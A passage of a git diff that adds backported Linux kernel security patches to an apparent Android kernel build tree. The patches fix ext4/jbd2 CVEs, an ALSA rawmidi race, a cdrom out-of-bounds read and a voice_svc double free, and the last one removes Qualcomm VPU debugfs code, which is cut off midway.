body. For performance reasons, it +doesn't make any sense, and the inline data implementation assumes +that system.data xattr is never in the external xattr block. + +This addresses CVE-2018-10880 + +https://bugzilla.kernel.org/show_bug.cgi?id=200005 + +Change-Id: I8d094bcb1bf3fd8d8cf57d7eb762585123b8e8aa +Signed-off-by: Theodore Ts'o +[bwh: Backported to 3.16: adjust context] +Signed-off-by: Ben Hutchings +--- + fs/ext4/xattr.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/fs/ext4/xattr.c b/fs/ext4/xattr.c +index dbd61029eac..762a584dd78 100644 +--- a/fs/ext4/xattr.c ++++ b/fs/ext4/xattr.c +@@ -1368,6 +1368,11 @@ int ext4_expand_extra_isize_ea(struct inode *inode, int new_extra_isize, + /* Find the entry best suited to be pushed into EA block */ + entry = NULL; + for (; !IS_LAST_ENTRY(last); last = EXT4_XATTR_NEXT(last)) { ++ /* never move system.data out of the inode */ ++ if ((last->e_name_len == 4) && ++ (last->e_name_index == EXT4_XATTR_INDEX_SYSTEM) && ++ !memcmp(last->e_name, "data", 4)) ++ continue; + total_size = + EXT4_XATTR_SIZE(le32_to_cpu(last->e_value_size)) + + EXT4_XATTR_LEN(last->e_name_len); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0513-a368e60c95fb-PATCH ext4 clear idata in ext4inodeinfo when removing inline.patch b/recipes-kernel/linux/linux-bass/autopatcher/0513-a368e60c95fb-PATCH ext4 clear idata in ext4inodeinfo when removing inline.patch new file mode 100644 index 0000000..5d00e63 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0513-a368e60c95fb-PATCH ext4 clear idata in ext4inodeinfo when removing inline.patch @@ -0,0 +1,48 @@ +From a368e60c95fb7f9d2cec2c17aa4ad907c5a5dd98 Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Fri, 15 Jun 2018 12:28:16 -0400 +Subject: [PATCH] ext4: clear i_data in ext4_inode_info when removing inline + data + +commit 6e8ab72a812396996035a37e5ca4b3b99b5d214b upstream. + +When converting from an inode from storing the data in-line to a data +block, ext4_destroy_inline_data_nolock() was only clearing the on-disk +copy of the i_blocks[] array. It was not clearing copy of the +i_blocks[] in ext4_inode_info, in i_data[], which is the copy actually +used by ext4_map_blocks(). + +This didn't matter much if we are using extents, since the extents +header would be invalid and thus the extents could would re-initialize +the extents tree. But if we are using indirect blocks, the previous +contents of the i_blocks array will be treated as block numbers, with +potentially catastrophic results to the file system integrity and/or +user data. + +This gets worse if the file system is using a 1k block size and +s_first_data is zero, but even without this, the file system can get +quite badly corrupted. + +This addresses CVE-2018-10881. + +https://bugzilla.kernel.org/show_bug.cgi?id=200015 + +Change-Id: I1d55c2156eb3ccdcd4d1b9f9631f4eff85927acb +Signed-off-by: Theodore Ts'o +Signed-off-by: Ben Hutchings +--- + fs/ext4/inline.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/fs/ext4/inline.c b/fs/ext4/inline.c +index 4dad094eae3..fae135af61b 100644 +--- a/fs/ext4/inline.c ++++ b/fs/ext4/inline.c +@@ -436,6 +436,7 @@ static int ext4_destroy_inline_data_nolock(handle_t *handle, + + memset((void *)ext4_raw_inode(&is.iloc)->i_block, + 0, EXT4_MIN_INLINE_DATA_SIZE); ++ memset(ei->i_data, 0, EXT4_MIN_INLINE_DATA_SIZE); + + if (EXT4_HAS_INCOMPAT_FEATURE(inode->i_sb, + EXT4_FEATURE_INCOMPAT_EXTENTS)) { diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0514-e9819733e40e-PATCH ext4 add more inode number paranoia checks.patch b/recipes-kernel/linux/linux-bass/autopatcher/0514-e9819733e40e-PATCH ext4 add more inode number paranoia checks.patch new file mode 100644 index 0000000..9f0b51a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0514-e9819733e40e-PATCH ext4 add more inode number paranoia checks.patch @@ -0,0 +1,73 @@ +From e9819733e40eb5412a7707fdda3bbd2b355acdd4 Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Sun, 17 Jun 2018 00:41:14 -0400 +Subject: [PATCH] ext4: add more inode number paranoia checks + +commit c37e9e013469521d9adb932d17a1795c139b36db upstream. + +If there is a directory entry pointing to a system inode (such as a +journal inode), complain and declare the file system to be corrupted. + +Also, if the superblock's first inode number field is too small, +refuse to mount the file system. + +This addresses CVE-2018-10882. + +https://bugzilla.kernel.org/show_bug.cgi?id=200069 + +Change-Id: Ib0b15e9bf713862e56713b2a0a910158331d7f9d +Signed-off-by: Theodore Ts'o +[bwh: Backported to 3.16: adjust context] +Signed-off-by: Ben Hutchings +--- + fs/ext4/ext4.h | 5 ----- + fs/ext4/inode.c | 3 ++- + fs/ext4/super.c | 5 +++++ + 3 files changed, 7 insertions(+), 6 deletions(-) + +diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h +index 26a7df689b2..9427a4fa6f2 100644 +--- a/fs/ext4/ext4.h ++++ b/fs/ext4/ext4.h +@@ -1404,11 +1404,6 @@ static inline struct timespec ext4_current_time(struct inode *inode) + static inline int ext4_valid_inum(struct super_block *sb, unsigned long ino) + { + return ino == EXT4_ROOT_INO || +- ino == EXT4_USR_QUOTA_INO || +- ino == EXT4_GRP_QUOTA_INO || +- ino == EXT4_BOOT_LOADER_INO || +- ino == EXT4_JOURNAL_INO || +- ino == EXT4_RESIZE_INO || + (ino >= EXT4_FIRST_INO(sb) && + ino <= le32_to_cpu(EXT4_SB(sb)->s_es->s_inodes_count)); + } +diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c +index 79555c25180..d8584bba875 100644 +--- a/fs/ext4/inode.c ++++ b/fs/ext4/inode.c +@@ -3972,7 +3972,8 @@ static int __ext4_get_inode_loc(struct inode *inode, + int inodes_per_block, inode_offset; + + iloc->bh = NULL; +- if (!ext4_valid_inum(sb, inode->i_ino)) ++ if (inode->i_ino < EXT4_ROOT_INO || ++ inode->i_ino > le32_to_cpu(EXT4_SB(sb)->s_es->s_inodes_count)) + return -EIO; + + iloc->block_group = (inode->i_ino - 1) / EXT4_INODES_PER_GROUP(sb); +diff --git a/fs/ext4/super.c b/fs/ext4/super.c +index b0c64fee8cf..020c90188cc 100644 +--- a/fs/ext4/super.c ++++ b/fs/ext4/super.c +@@ -3641,6 +3641,11 @@ static int ext4_fill_super(struct super_block *sb, void *data, int silent) + } else { + sbi->s_inode_size = le16_to_cpu(es->s_inode_size); + sbi->s_first_ino = le32_to_cpu(es->s_first_ino); ++ if (sbi->s_first_ino < EXT4_GOOD_OLD_FIRST_INO) { ++ ext4_msg(sb, KERN_ERR, "invalid first ino: %u", ++ sbi->s_first_ino); ++ goto failed_mount; ++ } + if ((sbi->s_inode_size < EXT4_GOOD_OLD_INODE_SIZE) || + (!is_power_of_2(sbi->s_inode_size)) || + (sbi->s_inode_size > blocksize)) { diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0515-7a80925d0d39-PATCH jbd2 dont mark block as modified if the handle is out of.patch b/recipes-kernel/linux/linux-bass/autopatcher/0515-7a80925d0d39-PATCH jbd2 dont mark block as modified if the handle is out of.patch new file mode 100644 index 0000000..500c194 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0515-7a80925d0d39-PATCH jbd2 dont mark block as modified if the handle is out of.patch @@ -0,0 +1,46 @@ +From 7a80925d0d3972250b5aae4b28b1a6c78f973857 Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Sat, 16 Jun 2018 20:21:45 -0400 +Subject: [PATCH] jbd2: don't mark block as modified if the handle is out of + credits + +commit e09463f220ca9a1a1ecfda84fcda658f99a1f12a upstream. + +Do not set the b_modified flag in block's journal head should not +until after we're sure that jbd2_journal_dirty_metadat() will not +abort with an error due to there not being enough space reserved in +the jbd2 handle. + +Otherwise, future attempts to modify the buffer may lead a large +number of spurious errors and warnings. + +This addresses CVE-2018-10883. + +https://bugzilla.kernel.org/show_bug.cgi?id=200071 + +Change-Id: I963d8f8142d68b438fbda2aa26c0da054c5dcd41 +Signed-off-by: Theodore Ts'o +[bwh: Backported to 3.16: Drop the added logging statement, as it's on + a code path that doesn't exist here] +Signed-off-by: Ben Hutchings +--- + fs/jbd2/transaction.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/fs/jbd2/transaction.c b/fs/jbd2/transaction.c +index 436b5369a9f..cf2ffa71a64 100644 +--- a/fs/jbd2/transaction.c ++++ b/fs/jbd2/transaction.c +@@ -1121,11 +1121,11 @@ int jbd2_journal_dirty_metadata(handle_t *handle, struct buffer_head *bh) + * of the transaction. This needs to be done + * once a transaction -bzzz + */ +- jh->b_modified = 1; + if (handle->h_buffer_credits <= 0) { + ret = -ENOSPC; + goto out_unlock_bh; + } ++ jh->b_modified = 1; + handle->h_buffer_credits--; + } + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0516-39675f7a7c7e-ALSA rawmidi Change resized buffers atomically.patch b/recipes-kernel/linux/linux-bass/autopatcher/0516-39675f7a7c7e-ALSA rawmidi Change resized buffers atomically.patch new file mode 100644 index 0000000..f533a1d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0516-39675f7a7c7e-ALSA rawmidi Change resized buffers atomically.patch @@ -0,0 +1,83 @@ +From 39675f7a7c7e7702f7d5341f1e0d01db746543a0 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Tue, 17 Jul 2018 17:26:43 +0200 +Subject: ALSA: rawmidi: Change resized buffers atomically + +The SNDRV_RAWMIDI_IOCTL_PARAMS ioctl may resize the buffers and the +current code is racy. For example, the sequencer client may write to +buffer while it being resized. + +As a simple workaround, let's switch to the resized buffer inside the +stream runtime lock. + +Reported-by: syzbot+52f83f0ea8df16932f7f@syzkaller.appspotmail.com +Cc: +Signed-off-by: Takashi Iwai +--- + sound/core/rawmidi.c | 20 ++++++++++++++------ + 1 file changed, 14 insertions(+), 6 deletions(-) + +diff --git a/sound/core/rawmidi.c b/sound/core/rawmidi.c +index 69616d00481c2..b53026a72e734 100644 +--- a/sound/core/rawmidi.c ++++ b/sound/core/rawmidi.c +@@ -635,7 +635,7 @@ static int snd_rawmidi_info_select_user(struct snd_card *card, + int snd_rawmidi_output_params(struct snd_rawmidi_substream *substream, + struct snd_rawmidi_params * params) + { +- char *newbuf; ++ char *newbuf, *oldbuf; + struct snd_rawmidi_runtime *runtime = substream->runtime; + + if (substream->append && substream->use_count > 1) +@@ -648,13 +648,17 @@ int snd_rawmidi_output_params(struct snd_rawmidi_substream *substream, + return -EINVAL; + } + if (params->buffer_size != runtime->buffer_size) { +- newbuf = krealloc(runtime->buffer, params->buffer_size, +- GFP_KERNEL); ++ newbuf = kmalloc(params->buffer_size, GFP_KERNEL); + if (!newbuf) + return -ENOMEM; ++ spin_lock_irq(&runtime->lock); ++ oldbuf = runtime->buffer; + runtime->buffer = newbuf; + runtime->buffer_size = params->buffer_size; + runtime->avail = runtime->buffer_size; ++ runtime->appl_ptr = runtime->hw_ptr = 0; ++ spin_unlock_irq(&runtime->lock); ++ kfree(oldbuf); + } + runtime->avail_min = params->avail_min; + substream->active_sensing = !params->no_active_sensing; +@@ -665,7 +669,7 @@ EXPORT_SYMBOL(snd_rawmidi_output_params); + int snd_rawmidi_input_params(struct snd_rawmidi_substream *substream, + struct snd_rawmidi_params * params) + { +- char *newbuf; ++ char *newbuf, *oldbuf; + struct snd_rawmidi_runtime *runtime = substream->runtime; + + snd_rawmidi_drain_input(substream); +@@ -676,12 +680,16 @@ int snd_rawmidi_input_params(struct snd_rawmidi_substream *substream, + return -EINVAL; + } + if (params->buffer_size != runtime->buffer_size) { +- newbuf = krealloc(runtime->buffer, params->buffer_size, +- GFP_KERNEL); ++ newbuf = kmalloc(params->buffer_size, GFP_KERNEL); + if (!newbuf) + return -ENOMEM; ++ spin_lock_irq(&runtime->lock); ++ oldbuf = runtime->buffer; + runtime->buffer = newbuf; + runtime->buffer_size = params->buffer_size; ++ runtime->appl_ptr = runtime->hw_ptr = 0; ++ spin_unlock_irq(&runtime->lock); ++ kfree(oldbuf); + } + runtime->avail_min = params->avail_min; + return 0; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0517-9de4ee40547f-cdrom information leak in cdromioctlmediachanged.patch b/recipes-kernel/linux/linux-bass/autopatcher/0517-9de4ee40547f-cdrom information leak in cdromioctlmediachanged.patch new file mode 100644 index 0000000..5b85e56 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0517-9de4ee40547f-cdrom information leak in cdromioctlmediachanged.patch @@ -0,0 +1,35 @@ +From 9de4ee40547fd315d4a0ed1dd15a2fa3559ad707 Mon Sep 17 00:00:00 2001 +From: Dan Carpenter +Date: Wed, 18 Apr 2018 12:51:31 +0300 +Subject: cdrom: information leak in cdrom_ioctl_media_changed() + +This cast is wrong. "cdi->capacity" is an int and "arg" is an unsigned +long. The way the check is written now, if one of the high 32 bits is +set then we could read outside the info->slots[] array. + +This bug is pretty old and it predates git. + +Reviewed-by: Christoph Hellwig +Cc: stable@vger.kernel.org +Signed-off-by: Dan Carpenter +Signed-off-by: Jens Axboe +--- + drivers/cdrom/cdrom.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/cdrom/cdrom.c b/drivers/cdrom/cdrom.c +index 8327478effd0..bfc566d3f31a 100644 +--- a/drivers/cdrom/cdrom.c ++++ b/drivers/cdrom/cdrom.c +@@ -2371,7 +2371,7 @@ static int cdrom_ioctl_media_changed(struct cdrom_device_info *cdi, + if (!CDROM_CAN(CDC_SELECT_DISC) || arg == CDSL_CURRENT) + return media_changed(cdi, 1); + +- if ((unsigned int)arg >= cdi->capacity) ++ if (arg >= cdi->capacity) + return -EINVAL; + + info = kmalloc(sizeof(*info), GFP_KERNEL); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0518-789d4d21c3f1-voicesvc Avoid double free in voicesvc driver.patch b/recipes-kernel/linux/linux-bass/autopatcher/0518-789d4d21c3f1-voicesvc Avoid double free in voicesvc driver.patch new file mode 100644 index 0000000..3552e54 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0518-789d4d21c3f1-voicesvc Avoid double free in voicesvc driver.patch @@ -0,0 +1,50 @@ +From 789d4d21c3f1818dcbf74da4a051598e8f53676c Mon Sep 17 00:00:00 2001 +From: Aditya Bavanari +Date: Fri, 6 Apr 2018 18:15:43 +0530 +Subject: voice_svc: Avoid double free in voice_svc driver + +voice_svc_dev is allocated as a device managed resource +and need not be freed since it is freed automatically. +Remove the logic to free voice_svc_dev in probe failure +and remove functions to avoid double free. + +CRs-Fixed: 2204285 +Change-Id: If4f9ca840b00448b987f5ce443f66b0923b01969 +Signed-off-by: Aditya Bavanari +--- + drivers/soc/qcom/qdsp6v2/voice_svc.c | 5 +---- + 1 file changed, 1 insertion(+), 4 deletions(-) + +diff --git a/drivers/soc/qcom/qdsp6v2/voice_svc.c b/drivers/soc/qcom/qdsp6v2/voice_svc.c +index 40204e10..f01ab24 100644 +--- a/drivers/soc/qcom/qdsp6v2/voice_svc.c ++++ b/drivers/soc/qcom/qdsp6v2/voice_svc.c +@@ -773,7 +773,7 @@ static int voice_svc_probe(struct platform_device *pdev) + if (ret) { + pr_err("%s: Failed to alloc chrdev\n", __func__); + ret = -ENODEV; +- goto chrdev_err; ++ goto done; + } + + voice_svc_dev->major = MAJOR(device_num); +@@ -820,8 +820,6 @@ dev_err: + class_destroy(voice_svc_class); + class_err: + unregister_chrdev_region(0, MINOR_NUMBER); +-chrdev_err: +- kfree(voice_svc_dev); + done: + return ret; + } +@@ -835,7 +833,6 @@ static int voice_svc_remove(struct platform_device *pdev) + device_destroy(voice_svc_class, device_num); + class_destroy(voice_svc_class); + unregister_chrdev_region(0, MINOR_NUMBER); +- kfree(voice_svc_dev); + + return 0; + } +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0519-59ba3de38f8f-msm VPU Remove debug code.patch b/recipes-kernel/linux/linux-bass/autopatcher/0519-59ba3de38f8f-msm VPU Remove debug code.patch new file mode 100644 index 0000000..4735592 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0519-59ba3de38f8f-msm VPU Remove debug code.patch @@ -0,0 +1,734 @@ +From 59ba3de38f8ffc5484898703d20b33980d29a41c Mon Sep 17 00:00:00 2001 +From: Vikash Garodia +Date: Tue, 12 Dec 2017 13:26:20 +0530 +Subject: msm: VPU: Remove debug code + +The gerrit removes debug code which is not being +used anymore. + +CRs-Fixed: 2054144 +Change-Id: I579d641f00592fcbbd6d75c6a0845a1b986973da +Signed-off-by: Vikash Garodia +--- + drivers/media/platform/msm/vpu/Makefile | 2 - + drivers/media/platform/msm/vpu/vpu_debug.c | 665 ----------------------------- + drivers/media/platform/msm/vpu/vpu_debug.h | 14 - + 3 files changed, 681 deletions(-) + delete mode 100644 drivers/media/platform/msm/vpu/vpu_debug.c + +diff --git a/drivers/media/platform/msm/vpu/Makefile b/drivers/media/platform/msm/vpu/Makefile +index e1fb5f1..c7d5eef 100644 +--- a/drivers/media/platform/msm/vpu/Makefile ++++ b/drivers/media/platform/msm/vpu/Makefile +@@ -11,7 +11,5 @@ obj-$(CONFIG_MSM_VPU) := \ + vpu_hfi.o \ + vpu_bus_clock.o \ + +-obj-$(CONFIG_DEBUG_FS) += vpu_debug.o +- + obj-$(CONFIG_MSM_VPU_IN_VCAP) += vpu_in_vcap.o + obj-$(CONFIG_MSM_VPU_OUT_MDSS) += vpu_out_mdss.o +diff --git a/drivers/media/platform/msm/vpu/vpu_debug.c b/drivers/media/platform/msm/vpu/vpu_debug.c +deleted file mode 100644 +index 79e6a84..0000000 +--- a/drivers/media/platform/msm/vpu/vpu_debug.c ++++ /dev/null +@@ -1,665 +0,0 @@ +-/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. +- * +- * This program is free software; you can redistribute it and/or modify +- * it under the terms of the GNU General Public License version 2 and +- * only version 2 as published by the Free Software Foundation. +- * +- * This program is distributed in the hope that it will be useful, +- * but WITHOUT ANY WARRANTY; without even the implied warranty of +- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- * GNU General Public License for more details. +- * +- */ +- +-#define pr_fmt(fmt) "VPU, %s: " fmt, __func__ +- +-#include +-#include +-#include +-#include +-#include +-#include +- +-#include "vpu_debug.h" +-#include "vpu_v4l2.h" +-#include "vpu_ioctl_internal.h" +-#include "vpu_channel.h" +-#include "vpu_bus_clock.h" +- +-#define BUF_SIZE (SZ_4K) +-#define RW_MODE (S_IRUSR | S_IWUSR) +-#define FW_LOG_TIMEOUT_MS 500 +- +-static int vpu_debug_on; +- +-struct fw_log_info { +- /* wq woken by hfi layer when fw log msg received */ +- wait_queue_head_t wq; +- /* wq only woken by hfi layer if this flag set */ +- int log_available; +- /* buf used for formatting log msgs */ +- char *fmt_buf; +- /* only one thread may read fw logs at a time */ +- atomic_t num_readers; +-}; +- +-/* SMEM controller data */ +-struct smem_ctrl_data { +- /* number of bytes to read */ +- u32 size; +- /* offset from shared memory base address */ +- u32 offset; +-}; +- +-static struct smem_ctrl_data smem_ctrl = { +- .size = 1024, +- .offset = 0x00000000 +-}; +- +- +-static struct fw_log_info fw_log; +- +-void vpu_wakeup_fw_logging_wq(void) +-{ +- fw_log.log_available = 1; +- wake_up_interruptible(&fw_log.wq); +-} +- +-static int open_fw_log(struct inode *inode, struct file *file) +-{ +- char *fmt_buf; +- +- /* Only one user thread may read firmware logs at a time. +- * We decrement number of readers upon release of the +- * firmware logs. +- */ +- if (atomic_inc_return(&fw_log.num_readers) > 1) { +- atomic_dec(&fw_log.num_readers); +- return -EBUSY; +- } +- +- fmt_buf = kzalloc(BUF_SIZE, GFP_KERNEL); +- if (unlikely(!fmt_buf)) { +- pr_err("Failed to allocate fmt_buf\n"); +- atomic_dec(&fw_log.num_readers); +- return -ENOMEM; +- } +- +- fw_log.fmt_buf = fmt_buf; +- return 0; +-} +- +-static ssize_t read_fw_log(struct file *file, char __user *user_buf, +- size_t len, loff_t *ppos) +-{ +- int ret; +- int bytes_read = 0; +- int buf_size = len; +- +- /* fmt buffer is only BUF_SIZE */ +- buf_size = min(buf_size, BUF_SIZE); +- +- do { +- /* read data into user buffer */ +- bytes_read = vpu_hw_sys_print_log(user_buf, +- fw_log.fmt_buf, buf_size); +- +- /* +- * The Logging queue might not be ready yet. If that is the case +- * try again after queue init. +- * Also, when we read 0 bytes we wait until firmware writes +- * something in the logging queue. +- */ +- if ((bytes_read == -EAGAIN) || (bytes_read == 0)) { +- fw_log.log_available = 0; +- ret = wait_event_interruptible_timeout(fw_log.wq, +- fw_log.log_available == 1, +- msecs_to_jiffies(FW_LOG_TIMEOUT_MS)); +- if (ret < 0) +- return ret; +- } else if (bytes_read < 0) { +- pr_err("Error: bytes_read=%d\n", bytes_read); +- return bytes_read; +- } +- +- } while ((bytes_read == -EAGAIN) || (bytes_read == 0)); +- +- return bytes_read; +-} +- +-static int release_fw_log(struct inode *inode, struct file *file) +-{ +- kfree(fw_log.fmt_buf); +- fw_log.fmt_buf = NULL; +- +- /* Allow another reader to access firmware logs */ +- atomic_dec(&fw_log.num_readers); +- +- return 0; +-} +- +-static const struct file_operations fw_logging_ops = { +- .open = open_fw_log, +- .read = read_fw_log, +- .release = release_fw_log, +-}; +- +-static ssize_t write_fw_log_level(struct file *file, +- const char __user *user_buf, size_t count, loff_t *ppos) +-{ +- int ret; +- char buf[4]; +- int log_level; +- int len; +- +- len = min(count, sizeof(buf) - 1); +- if (copy_from_user(buf, user_buf, len)) +- return -EFAULT; +- buf[len] = '\0'; +- +- if (kstrtou32(buf, 0, &log_level)) +- return -EINVAL; +- +- if (log_level < VPU_LOGGING_NONE || log_level > VPU_LOGGING_ALL) { +- pr_err("Invalid logging level %d\n", log_level); +- return -EINVAL; +- } +- +- ret = vpu_hw_sys_set_log_level(log_level); +- if (ret) +- return ret; +- +- pr_debug("Firmware log level set to %s\n", buf); +- return count; +-} +- +-static ssize_t read_fw_log_level(struct file *file, char __user *user_buf, +- size_t len, loff_t *ppos) +-{ +- int ret; +- char buf[4]; +- int log_level; +- +- ret = vpu_hw_sys_get_log_level(); +- if (ret < 0) +- return ret; +- log_level = ret; +- +- ret = snprintf(buf, sizeof(buf), "%d\n", log_level); +- if (ret < 0) { +- pr_err("Error converting log level from int to char\n"); +- return ret; +- } +- +- return simple_read_from_buffer(user_buf, len, ppos, buf, sizeof(buf)); +-} +- +-static const struct file_operations fw_log_level_ops = { +- .open = simple_open, +- .write = write_fw_log_level, +- .read = read_fw_log_level, +-}; +- +-static ssize_t read_queue_state(struct file *file, char __user *user_buf, +- size_t len, loff_t *ppos) +-{ +- char *dbg_buf; +- size_t size, ret; +- +- dbg_buf = kzalloc(BUF_SIZE, GFP_KERNEL); +- if (!dbg_buf) { +- pr_err("failed to alloc\n"); +- return -ENOMEM; +- } +- +- size = vpu_hw_print_queues(dbg_buf, BUF_SIZE); +- ret = simple_read_from_buffer(user_buf, len, ppos, dbg_buf, size); +- +- kfree(dbg_buf); +- return ret; +-} +- +-static const struct file_operations queue_state_ops = { +- .open = simple_open, +- .read = read_queue_state, +-}; +- +-static ssize_t read_csr_regs(struct file *file, char __user *user_buf, +- size_t len, loff_t *ppos) +-{ +- char *dbg_buf; +- size_t size, ret; +- +- dbg_buf = kzalloc(BUF_SIZE, GFP_KERNEL); +- if (!dbg_buf) { +- pr_err("failed to alloc\n"); +- return -ENOMEM; +- } +- +- /* If debug mode is on, a lock may still be +- * held (while in process of booting up firmware). +- * We need to still be able to dump csr registers +- * in this case. Do not attempt to acquire the lock. +- */ +- if (vpu_debug_on) +- size = vpu_hw_dump_csr_regs_no_lock(dbg_buf, BUF_SIZE); +- else +- size = vpu_hw_dump_csr_regs(dbg_buf, BUF_SIZE); +- if (size > 0) +- ret = simple_read_from_buffer(user_buf, len, ppos, +- dbg_buf, size); +- else +- ret = -EIO; /* device not readable */ +- kfree(dbg_buf); +- return ret; +-} +- +-int write_csr_reg(struct file *file, const char __user *user_buf, +- size_t count, loff_t *ppos) +-{ +- int ret; +- int len; +- char buf[24]; +- char *sptr, *token; +- u32 reg_off; +- u32 reg_val; +- +- len = min(count, sizeof(buf) - 1); +- if (copy_from_user(buf, user_buf, len)) +- return -EFAULT; +- buf[len] = '\0'; +- +- sptr = buf; +- token = strsep(&sptr, ":"); +- if (!token) +- return -EINVAL; +- +- if (kstrtou32(token, 0, ®_off)) +- return -EINVAL; +- +- if (kstrtou32(sptr, 0, ®_val)) +- return -EINVAL; +- +- ret = vpu_hw_write_csr_reg(reg_off, reg_val); +- if (ret) +- return ret; +- +- return count; +-} +- +-static const struct file_operations csr_regs_ops = { +- .open = simple_open, +- .read = read_csr_regs, +- .write = write_csr_reg, +-}; +- +-static void debug_on(void) +-{ +- vpu_debug_on = 1; +- vpu_hw_debug_on(); +-} +- +-static void debug_off(void) +-{ +- vpu_hw_debug_off(); +- vpu_debug_on = 0; +-} +- +-static ssize_t write_cmd(struct file *file, const char __user *user_buf, +- size_t len, loff_t *ppos) +-{ +- char buf[10]; +- char *cmp; +- +- len = min(len, sizeof(buf) - 1); +- if (copy_from_user(&buf[0], user_buf, len)) +- return -EFAULT; +- +- buf[len] = '\0'; +- cmp = strstrip(buf); +- +- if (strcmp(cmp, "crash") == 0) +- vpu_hw_sys_cmd_ext(VPU_SYS_CMD_DEBUG_CRASH, NULL, 0); +- else if (strcmp(cmp, "svs") == 0) +- vpu_hw_sys_set_power_mode(VPU_POWER_SVS); +- else if (strcmp(cmp, "nominal") == 0) +- vpu_hw_sys_set_power_mode(VPU_POWER_NOMINAL); +- else if (strcmp(cmp, "turbo") == 0) +- vpu_hw_sys_set_power_mode(VPU_POWER_TURBO); +- else if (strcmp(cmp, "dynamic") == 0) +- vpu_hw_sys_set_power_mode(VPU_POWER_DYNAMIC); +- else if (strcmp(cmp, "debugon") == 0) +- debug_on(); +- else if (strcmp(cmp, "debugoff") == 0) +- debug_off(); +- +- return len; +-} +- +-static ssize_t read_cmd(struct file *file, char __user *user_buf, +- size_t len, loff_t *ppos) +-{ +- char str[] = +- "Usage: echo > to send a command to VPU\n"; +- +- return simple_read_from_buffer(user_buf, len, ppos, str, sizeof(str)); +-} +- +-static const struct file_operations vpu_cmd_ops = { +- .open = simple_open, +- .write = write_cmd, +- .read = read_cmd, +-}; +- +-static int smem_data_show(struct seq_file *m, void *private) +-{ +- char cbuf[SZ_64]; +- struct smem_ctrl_data *smem = m->private; +- u32 offset = smem->offset; +- +- if (((offset >> 2) << 2) != offset) { +- seq_printf(m, "Error: offset (0x%x) must be a multiple of 4!\n", +- offset); +- goto smem_exit; +- } +- /* +- * Print each memory line (4 32-bit words) containing the incremented +- * offset. Stop reading if lower layer does not print anymore (or error) +- */ +- for (; offset <= smem->offset + smem->size; offset += 4 * sizeof(u32)) { +- int ret; +- ret = vpu_hw_dump_smem_line(cbuf, sizeof(cbuf), offset); +- if (ret > 0) { +- seq_printf(m, "%s", cbuf); +- } else { +- if (ret == -EACCES) +- pr_err("Cannot read outside of VPU mem!\n"); +- if (ret == -ENOMEM) +- pr_err("cbuf too small!\n"); +- +- /* break 'for' loop if ret <= 0 */ +- break; +- } +- } +- +-smem_exit: +- return 0; +-} +- +-static int smem_data_open(struct inode *inode, struct file *file) +-{ +- return single_open(file, smem_data_show, inode->i_private); +-} +- +-static const struct file_operations smem_data_ops = { +- .open = smem_data_open, +- .read = seq_read, +- .llseek = seq_lseek, +- .release = single_release +-}; +- +-static struct dentry *init_smem_dir(struct dentry *root) +-{ +- struct dentry *smem, *attr; +- +- smem = debugfs_create_dir("smem", root); +- if (IS_ERR_OR_NULL(root)) { +- pr_err("Failed to create smem directory\n"); +- goto smem_dir_err; +- } +- +- attr = debugfs_create_x32("offset", RW_MODE, smem, &smem_ctrl.offset); +- if (IS_ERR_OR_NULL(attr)) { +- pr_err("Failed to create smem/offset entry\n"); +- goto smem_dir_err; +- } +- +- attr = debugfs_create_u32("size", RW_MODE, smem, &smem_ctrl.size); +- if (IS_ERR_OR_NULL(attr)) { +- pr_err("Failed to create smem/size entry\n"); +- goto smem_dir_err; +- } +- +- attr = debugfs_create_file("data", RW_MODE, smem, &smem_ctrl, +- &smem_data_ops); +- if (IS_ERR_OR_NULL(attr)) { +- pr_err("Failed to create smem/data entry\n"); +- goto smem_dir_err; +- } +- +- return smem; +-smem_dir_err: +- return NULL; +-} +- +-static struct vpu_client *debug_client; +- +-static ssize_t write_client(struct file *file, const char __user *user_buf, +- size_t len, loff_t *ppos) +-{ +- char buf[10]; +- char *cmp; +- struct vpu_dev_core *core = file->private_data; +- +- if (!core) +- return -ENODEV; +- +- len = min(len, sizeof(buf) - 1); +- if (copy_from_user(&buf[0], user_buf, len)) +- return -EFAULT; +- +- buf[len] = '\0'; +- cmp = strstrip(buf); +- +- if (strcmp(cmp, "get") == 0) { +- if (!debug_client) +- debug_client = vpu_open_kernel_client(core); +- } else if (strcmp(cmp, "put") == 0) { +- if (debug_client) { +- vpu_close_client(debug_client); +- debug_client = NULL; +- } +- } else { +- return -EINVAL; +- } +- +- return len; +-} +- +-static ssize_t read_client(struct file *file, char __user *user_buf, +- size_t len, loff_t *ppos) +-{ +- char str[] = +- "Usage: echo get/put > to inc/dec VPU client\n"; +- +- return simple_read_from_buffer(user_buf, len, ppos, str, sizeof(str)); +-} +- +-static const struct file_operations vpu_client_ops = { +- .open = simple_open, +- .write = write_client, +- .read = read_client, +-}; +- +-static ssize_t read_streaming_state(struct file *file, char __user *user_buf, +- size_t len, loff_t *ppos) +-{ +- struct 